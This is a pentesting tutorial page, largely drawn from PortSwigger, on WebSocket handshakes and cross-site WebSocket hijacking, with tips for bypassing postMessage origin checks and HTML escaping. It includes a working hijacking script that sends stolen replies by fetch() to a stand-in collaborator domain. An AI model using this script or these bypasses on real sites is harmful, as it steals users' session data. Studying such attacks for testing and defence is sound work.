Pentesting

Cross-site WebSocket hijacking (CSWSH)

Most of the information of this page is from Portswiggers WebSockets tutorials (main page: https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)

What are WebSockets

WebSocket connections are initiated over HTTP and are typically long-lived. Messages can be sent in either direction at any time and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message. WebSockets are particularly useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data.

How are WebSocket connections established?

WebSocket connections are normally created using client-side JavaScript like the following:

var ws = new WebSocket("wss://normal-website.com/chat");

The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

If the server accepts the connection, it returns a WebSocket handshake response like the following:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

At this point, the network connection remains open and can be used to send WebSocket messages in either direction.

Note

Several features of the WebSocket handshake messages are worth noting:

  • The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.

  • The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.

  • The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.

  • The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes (It's not a CSRF token).

Cross-site WebSocket hijacking (CSWSH)

Also known as cross-origin WebSocket hijacking. It is a Cross-Site Request Forgery (CSRF) on a WebSocket handshake.

It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values. An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user's session with the application.

Example of the attack:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Other vulnerabilities

As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities:

Tips/Bypasses in PostMessage vulnerabilities

Copied from https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

  • If indexOf() is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in The Bypass

  • @filedescriptor: Using search() to validate the origin could be insecure. According to the docs of String.prototype.search(), the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.

"https://www.safedomain.com".search(t.origin)

In regular expression, a dot (.) is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as www.s.afedomain.com.

  • @bored-engineer: If escapeHtml function is used, the function does not create a new escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to hasOwnProperty it will not be escaped.

// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File object is perfect for this exploit as it has a read-only name property which is used by our template and will bypass escapeHtml function.